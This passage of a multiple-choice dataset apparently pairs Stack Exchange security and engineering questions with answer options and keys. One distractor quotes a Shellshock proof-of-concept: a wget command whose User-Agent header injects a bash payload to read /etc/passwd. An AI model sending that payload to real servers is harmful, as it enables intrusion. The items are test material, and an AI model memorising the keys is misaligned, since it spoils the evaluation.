Before I do so, is it safe to assume that my password is stored in their database as plain text? If so, do you have any suggestions on how to address this issue with the provider?", "question_score": 131, "question_tags": ["passwords", "databases", "web-hosting"], "choices": {"A": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "B": "Yep, that's a big problem, especially if that was your old password (i.e. not a newly assigned one). Technically, the password might be stored under reversible encryption rather than plain text, but that's nearly as bad. The absolute minimum standard should be a salted hash - anything less and anybody with access to the auth database who wants to can use an online rainbow table to get back the plaintext passwords in moments - but single-iteration secure hash algorithm (SHA) functions are still easy to brute force with a GPU (they're designed to be fast; a high-end GPU can compute...", "C": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "D": "By any measure, they're wrong: Seven random printable ASCII: 95 7 = 69 833 729 609 375 possible passwords. Ten random alphabetics: 52 10 = 144 555 105 949 057 024 possible passwords, or over 2000 times as many. Length counts. If you're generating your passwords randomly, it counts for far more than any other method of making them hard to guess."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/206186/is-hostgator-storing-my-password-in-plaintext"} {"id": "cybersecurity_221018", "domain": "cybersecurity", "question_title": "What to do if caught in a physical pentest?", "question_body": "I've seen a lot of people talk about how to pentest and how NOT to get caught during engagements but have a hard time finding \"How to behave when caught during a Red Team engagement\". Red Teams are to simulate adversaries attacking systems. Many actions can't be done (or at least very hard to) with just some computers and Red Teams often have to go on-site and break in (legally). What I've seen so far is people succeeding in not getting caught. However, I haven't seen anyone talk about what to do when caught. It may just be some suspicion or even being chased by security (possibly armed). In cases where a Red Teamer is caught during an engagement, what should he/she do? Say \"I'm a security tester. You've caught me so I'll just leave.\" Run away like a criminal with their stolen data (which sounds fun but dangerous) to be more like an actual criminal attacker Contact the employer to report it and get a \"just continue\" pass Quietly come along for some possible interrogation (I think this would be the safest) Update: I've made another question here which covers the 3rd parties not discussed in this question.", "question_score": 131, "question_tags": ["penetration-test", "physical"], "choices": {"A": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "B": "Always have your slip with you! This is the golden rule of Red Teaming! If you don't have your Permission to Attack with you, it's like driving without a driver's license. That said, if you are caught during an engagement, I recommend the following: Present a forged Permission to Attack. This way, you can see if criminals could possibly trick a security guard to letting them do their thing with a fake Permission to Attack. Present the real Permission to Attack. If a guard has not bought your fake slip, then it's time to hand in the real slip. If...", "C": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "D": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/221018/what-to-do-if-caught-in-a-physical-pentest"} {"id": "cybersecurity_18556", "domain": "cybersecurity", "question_title": "How do ASLR and DEP work?", "question_body": "How do Address Space Layout Randomisation (ASLR) and Data Execution Prevention (DEP) work, in terms of preventing vulnerabilities from being exploited? Can they be bypassed?", "question_score": 130, "question_tags": ["exploit", "aslr", "dep", "shellcode"], "choices": {"A": "Address Space Layout Randomisation (ASLR) is a technology used to help prevent shellcode from being successful. It does this by randomly offsetting the location of modules and certain in-memory structures. Data Execution Prevention (DEP) prevents certain memory sectors, e.g. the stack, from being executed. When combined it becomes exceedingly difficult to exploit vulnerabilities in applications using shellcode or return-oriented programming (ROP) techniques. First, let's look at how a normal vulnerability might be exploited. We'll skip all the details, but let's just say we're using a stack buffer overflow vulnerability. We've loaded a big blob of 0x41414141 values into our payload,...", "B": "A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo \"Content-type: text/plain\" echo echo echo \"Hi\" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U \"() { test;};echo \\\"Content-type: text/plain\\\"; echo; echo; /bin/cat /etc/passwd\" http://10.248.2.15/cgi-bin/test.cgi To break it down: \"() { test;};echo \\\"Content-type: text/plain\\\"; echo; echo; /bin/cat /etc/passwd\" Looks like: () { test } echo \\\"Content-type: text/plain\\\" echo echo /bin/cat /etc/passwd The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute...", "C": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "D": "Tabnabbing is a phishing technique where a malicious web site changes its looks while the tab is inactive in order to trick the user into entering credentials. This page is simultaneously a description and a demo. When you visit it, it shows a description of what tabnabbing is. When you then click another tab, it changes the tabs favicon and title to look like Gmail. Later, when the user wants to read her mail she goes to this tab thinking it is Gmail and enters her credentials. Edit: In this animation, you see that while I am reading SE, the..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/18556/how-do-aslr-and-dep-work"} {"id": "cybersecurity_70733", "domain": "cybersecurity", "question_title": "How do I use "openssl s_client" to test for (absence of) SSLv3 support?", "question_body": "In order to mitigate the \"Poodle\" vulnerability , I'd like to disable SSLv3 support in my (in this case, TLS, rather than HTTPS) server. How can I use openssl s_client to verify that I've done this?", "question_score": 130, "question_tags": ["tls", "openssl"], "choices": {"A": "OpenSSL s_client To check if you have disabled the SSLv3 support, then run the following openssl s_client -connect example.com:443 -ssl3 which should produce something like 3073927320:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure:s3_pkt.c:1258:SSL alert number 40 3073927320:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:596: meaning SSLv3 is disabled on the server. Otherwise the connection will established successfully. Nmap Alternatively, you can use nmap to scan server for supported version: # nmap --script ssl-enum-ciphers example.com Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-15 03:19 PDT Nmap scan report for example.com (203.0.113.100) Host is up (0.090s latency). rDNS record for 203.0.113.100: edge.example.com Not shown: 997 filtered ports PORT STATE...", "B": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "As of OpenSSL 1.1.1, providing subjectAltName directly on command line becomes much easier, with the introduction of the -addext flag to openssl req (via this commit ). The commit adds an example to the openssl req man page : Example of giving the most common attributes (subject and extensions) on the command line: openssl req -new -subj \"/C=GB/CN=foo\" \\ -addext \"subjectAltName = DNS:foo.co.uk\" \\ -addext \"certificatePolicies = 1.2.3.4\" \\ -newkey rsa:2048 -keyout key.pem -out req.pem The commit message itself is also helpful to understand what's happening: Add 'openssl req' option to specify extension values on command line The idea is..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/70733/how-do-i-use-openssl-s-client-to-test-for-absence-of-sslv3-support"} {"id": "cybersecurity_178814", "domain": "cybersecurity", "question_title": "Is a Windows installer that doesn't require admin rights dangerous?", "question_body": "I use Atlassian SourceTree on Windows, and one thing I like about it is that it doesn't require admin privileges to install or update. I happened to mention this to our ISSO (Information System Security Officer), and he was not a fan. He said that not requiring admin was dangerous because (to paraphrase) \"If it's not asking you for approval, you never know what it's going and changing in the background!\" Now, this person has a tendency to be overly-cautious, so I am skeptical of his assessment. I had always thought that if a program doesn't ask for administrator permissions, it's because it doesn't make deep enough changes to need them. To add to that, our work computers are extremely locked down, so I find it hard to believe that all an installer has to do to get by our security features is to not ask for permission. So what's the real situation? Can an installer that can run without administrator privileges really be that dangerous?", "question_score": 130, "question_tags": ["windows", "install"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "Installing something without needing admin privileges is no more dangerous than running a no-install program with standard user permissions. This is also less dangerous than installing something WITH admin privileges (or indeed, running anything with admin permissions). Running a random program downloaded off the internet, of course, is potentially dangerous - even if it doesn't require admin. If your ISSO's concern is \"you're running random internet code, and the author of that code makes it easy for you to be lazy about asking me to vet it\", then this is quite valid and factual. (you might debate the cost/benefit, but...", "C": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "D": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/178814/is-a-windows-installer-that-doesnt-require-admin-rights-dangerous"} {"id": "cybersecurity_187556", "domain": "cybersecurity", "question_title": "What stops Google from saving all the information on my computer through Google Chrome?", "question_body": "I noticed that in Google Chrome, if I type in file:///C:/Users/MyUsername/Desktop/ it shows me all of the folders on my Desktop, and I can type open up PDFs and such in chrome just by typing in the file path. What processes and systems are in place so that Google is not able to copy data stored on my computer? What processes and systems are in place so that someone who writes a Chrome extension is not able to copy files stored on my computer?", "question_score": 129, "question_tags": ["chrome", "file-system", "file-access"], "choices": {"A": "What processes and systems are in place so that Google is not able to copy the data on my computer? None. Google Chrome usually runs with the permissions of your user account. The application can then read and modify local files to the same extent your user account can. (These permissions apply to most of the programs you're using.) So you need to trust Google in that they don't ship a malicious update that spies on you, or keep sensitive files inaccessible to the account you're running the browser with. Alternatively, there are most likely sandbox implementations for your OS...", "B": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "C": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "D": "Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear. Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup. Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/187556/what-stops-google-from-saving-all-the-information-on-my-computer-through-google"} {"id": "cybersecurity_78621", "domain": "cybersecurity", "question_title": "Which elliptic curve should I use?", "question_body": "I am currently renewing an SSL certificate, and I was considering switching to elliptic curves. Per Bernstein and Lange , I know that some curves should not be used but I'm having difficulties selecting the correct ones in OpenSSL: $ openssl ecparam -list_curves secp112r1 : SECG/WTLS curve over a 112 bit prime field secp112r2 : SECG curve over a 112 bit prime field secp128r1 : SECG curve over a 128 bit prime field secp128r2 : SECG curve over a 128 bit prime field secp160k1 : SECG curve over a 160 bit prime field secp160r1 : SECG curve over a 160 bit prime field secp160r2 : SECG/WTLS curve over a 160 bit prime field secp192k1 : SECG curve over a 192 bit prime field secp224k1 : SECG curve over a 224 bit prime field secp224r1 : NIST/SECG curve over a 224 bit prime field secp256k1 : SECG curve over a 256 bit prime field secp384r1 : NIST/SECG curve over a 384 bit prime field secp521r1 : NIST/SECG curve over a 521 bit prime field prime192v1: NIST/X9.62/SECG curve over a 192 bit prime field prime192v2: X9.62 curve over a 192 bit prime field prime192v3: X9.62 curve over a 192 bit prime field prime239v1: X9.62 curve over a 239 bit prime field prime239v2: X9.62 curve over a 239 bit prime field prime239v3: X9.62 curve over a 239 bit prime field prime256v1: X9.62/SECG curve over a 256 bit prime field sect113r1 : SECG curve over a 113 bit binary field sect113r2 : SECG curve over a 113 bit binary field sect131r1 : SECG/WTLS curve over a 131 bit binary field sect131r2 : SECG curve over a 131 bit binary field sect163k1 : NIST/SECG/WTLS curve over a 163 bit binary field sect163r1 : SECG curve over a 163 bit binary field sect163r2 : NIST/SECG curve over a 163 bit binary field sect193r1 : SECG curve over a 193 bit binary field sect193r2 : SECG curve over a 193 bit binary field sect233k1 : NIST/SECG/WTLS curve over a 233 bit binary field sect233r1 : NIST/SECG/WTLS curve over a 233 bit binary field sect239k1 : SECG curve over a 239 bit binary field sect283k1 : NIST/SECG curve over a 283 bit binary field sect283r1 : NIST/SECG curve over a 283 bit binary field sect409k1 : NIST/SECG curve over a 409 bit binary field sect409r1 : NIST/SECG curve over a 409 bit binary field sect571k1 : NIST/SECG curve over a 571 bit binary field sect571r1 : NIST/SECG curve over a 571 bit binary field c2pnb163v1: X9.62 curve over a 163 bit binary field c2pnb163v2: X9.62 curve over a 163 bit binary field c2pnb163v3: X9.62 curve over a 163 bit binary field c2pnb176v1: X9.62 curve over a 176 bit binary field c2tnb191v1: X9.62 curve over a 191 bit binary field c2tnb191v2: X9.62 curve over a 191 bit binary field c2tnb191v3: X9.62 curve over a 191 bit binary field c2pnb208w1: X9.62 curve over a 208 bit binary field c2tnb239v1: X9.62 curve over a 239 bit binary field c2tnb239v2: X9.62 curve over a 239 bit binary field c2tnb239v3: X9.62 curve over a 239 bit binary field c2pnb272w1: X9.62 curve over a 272 bit binary field c2pnb304w1: X9.62 curve over a 304 bit binary field c2tnb359v1: X9.62 curve over a 359 bit binary field c2pnb368w1: X9.62 curve over a 368 bit binary field c2tnb431r1: X9.62 curve over a 431 bit binary field wap-wsg-idm-ecid-wtls1: WTLS curve over a 113 bit binary field wap-wsg-idm-ecid-wtls3: NIST/SECG/WTLS curve over a 163 bit binary field wap-wsg-idm-ecid-wtls4: SECG curve over a 113 bit binary field wap-wsg-idm-ecid-wtls5: X9.62 curve over a 163 bit binary field wap-wsg-idm-ecid-wtls6: SECG/WTLS curve over a 112 bit prime field wap-wsg-idm-ecid-wtls7: SECG/WTLS curve over a 160 bit prime field wap-wsg-idm-ecid-wtls8: WTLS curve over a 112 bit prime field wap-wsg-idm-ecid-wtls9: WTLS curve over a 160 bit prime field wap-wsg-idm-ecid-wtls10: NIST/SECG/WTLS curve over a 233 bit binary field wap-wsg-idm-ecid-wtls11: NIST/SECG/WTLS curve over a 233 bit binary field wap-wsg-idm-ecid-wtls12: WTLS curvs over a 224 bit prime field Oakley-EC2N-3: IPSec/IKE/Oakley curve #3 over a 155 bit binary field. Not suitable for ECDSA. Questionable extension field! Oakley-EC2N-4: IPSec/IKE/Oakley curve #4 over a 185 bit binary field. Not suitable for ECDSA. Questionable extension field! Could a kind cryptographer point out to me which curves are still considered safe?", "question_score": 128, "question_tags": ["openssl", "ecc"], "choices": {"A": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "B": "What is the Poodle vulnerability ? The \"Poodle\" vulnerability, released on October 14th, 2014 , is an attack on the SSL 3.0 protocol. It is a protocol flaw, not an implementation issue; every implementation of SSL 3.0 suffers from it. Please note that we are talking about the old SSL 3.0, not TLS 1.0 or later. The TLS versions are not affected (neither is DTLS). In a nutshell: when SSL 3.0 uses a block cipher in CBC mode, the encryption process for a record uses padding so that the data length is a multiple of the block size. For instance,...", "C": "This is not a flaw in TLS; it is a simple memory safety bug in OpenSSL. The best explanations I've run across so far are the blog posts Diagnosis of the OpenSSL Heartbleed Bug by Sean Cassidy and Attack of the week: OpenSSL Heartbleed by Matthew Green. In short, Heartbeat allows one endpoint to go \"I'm sending you some data, echo it back to me\". You send both a length figure and the data itself. The length figure can be up to 64 KiB. Unfortunately, if you use the length figure to claim \"I'm sending 64 KiB of data\" (for...", "D": "You are misreading Bernstein and Lange's advice (admittedly, their presentation is a bit misleading, with the scary red \"False\" tags). What they mean is not that some curves are inherently unsafe, but that safe implementation of some curves is easier than for others (e.g. with regards to library behaviour when it encounters something which purports to be the encoding of a valid curve point, but is not). What you really want is a curve such that: the software which you will entrust with your private key (your SSL server) is properly implemented and will not leak details about your private..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/78621/which-elliptic-curve-should-i-use"} {"id": "engineering_33737", "domain": "engineering", "question_title": "Why do color TVs make black and white snow?", "question_body": "If you let a color TV display something from an unplugged display port, it displays snow, right? Randomly varying black or white pixels on the whole screen. My guess was that the television was decoding the noise from the unplugged wires as a video signal. Assuming this, it makes sense that B&W TVs make B&W snow (they would decode the noise as being a B&W video signal). But then color TVs should make colored snow , right? Shouldn't they decode the noise as being a color video signal?", "question_score": 93, "question_tags": ["electrical-engineering", "signal-processing"], "choices": {"A": "One of the problems that plagued older rechargeable batteries (e.g. Nickel Cadmium ($\\text{NiCad}$) and Nickel Metal Hydride ($\\text{NiMH}$)) was the memory effect . The memory effect occurs when a rechargeable battery is not fully discharged. It then \"forgets\" that it has a greater capacity than it thinks it has, and so in the future it discharges less. A good example is a water bottle. Initially, water bottles have a certain capacity for water. Let's say that I drink most of the water in a water bottle during one usage. If the memory effect affected water bottles, I would not be...", "B": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "C": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "D": "It depends on how steep the hill is. On a slight hill, the energy added by gravity is still not enough to overcome rolling friction and air resistance, so the car still needs power to maintain speed. On a steeper hill, the two may balance out, so no power is used, and no power is generated. On a hill that's steep enough to require braking to control the speed, the car recovers energy. It's called regenerative braking. If the car is going too fast, applying the brakes turns the motor into a generator and charges the battery."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/33737/why-do-color-tvs-make-black-and-white-snow"} {"id": "engineering_1926", "domain": "engineering", "question_title": "Why is kVA not the same as kW?", "question_body": "I thought my electric car charging unit uses 6.6 kW of power. However, I found the label and it actually says 6.6 kVA. When I saw this I thought something along the lines of... Well, $ P=VI $, therefore kVA must be the same thing as kW... strange, I wonder why it's not labelled in kW. So a quick Google search later, and I found this page , which has a converter that tells me 6.6 kVA is actually just 5.28 kW. The Wikipedia page for watts confirmed what I thought, that a watt is a volt times an ampere. So what part of all this am I missing, that explains why kVA and kW are not the same?", "question_score": 59, "question_tags": ["electrical-engineering"], "choices": {"A": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "B": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So...", "C": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "D": "On this processor, the register that holds the conversion result is 16 bits wide. A right-justified result means that bits [( N -1):0] (where N is the number of bits of precision) of the register contain the ADC value and the most-significant bits of the register are set to zero. A left-justified result means that bits [15:(16- N )] of the register hold the result, and bits [(15- N ):0] are set to zero. For example, if your actual conversion result is 0x123, it would be read as 0x0123 if the register was right-justified, and as 0x1230 if it was..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1926/why-is-kva-not-the-same-as-kw"} {"id": "engineering_5570", "domain": "engineering", "question_title": "How was Volkswagen able to trick the lab pollution test?", "question_body": "The recent Volkswagen pollution test cheating scandal has shocked many people with its widespread extent as well as how it was hidden for so many years. Last year, the International Council on Clean Transportation (ICCT) in Washington DC contracted scientists from the Center for Alternative Fuels Engines and Emissions at West Virginia University in Morgantown to test emissions from three light-duty diesel vehicles under more-realistic conditions than are possible in the lab. To do so, the scientists fitted cars with a portable emissions measurement system to gather a continuous stream of data over a variety of US road types. The tests found that the levels of NOx emitted by a Volkswagen Jetta were 15–35 times greater than dictated by the US standard (31 milligrams per kilometre), depending on road and driving conditions. How was this cheating program carried out, and why were the lab tests unable to detect the presence of this cheating program?", "question_score": 52, "question_tags": ["automotive-engineering", "product-testing", "air-quality", "emissions"], "choices": {"A": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "B": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "C": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "D": "Solid particle settling time in air depends mainly on the size of the particle. Different forces become significant depending on what size range you're talking about, so it's hard to give an answer that's both concise and accurate. I'll do my best to synthesize the important points rather than parrot a reference; that said, where practical applications in the field of air quality are concerned, the text I recommend is Air Pollution Control by Cooper & Alley . In particular, I'm going to pull many of the details for this answer from Section 3.3: Particulate Behavior in Fluids. Gravitational Settling..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/5570/how-was-volkswagen-able-to-trick-the-lab-pollution-test"} {"id": "engineering_2534", "domain": "engineering", "question_title": "My customer wants to use my products to do something unsafe. What is my ethical obligation?", "question_body": "We sell products that attach to a motor drive's DC bus. We also formerly sold diode kits that let you hook one product up to multiple drives. We stopped selling those diode kits because they were unreliable with modern hardware, and we had better solutions. My customer tells me he wants to keep using the old diode kits, because he can have his repair techs disconnect power to one drive and have it replaced, while the others are still powered on. I maintain that this is an unsafe practice, because diodes are not safety-rated devices. (See question here .) But my customer is rather insistent. What is my ethical obligation in this case?", "question_score": 48, "question_tags": ["electrical-engineering", "ethics", "sales", "safety"], "choices": {"A": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "B": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "C": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "D": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2534/my-customer-wants-to-use-my-products-to-do-something-unsafe-what-is-my-ethical"} {"id": "engineering_7080", "domain": "engineering", "question_title": "Is it possible for a bicycle chainwheel to have a fractional number of teeth?", "question_body": "Background In the world of bicycle motocross, also known as BMX racing , gearing is a 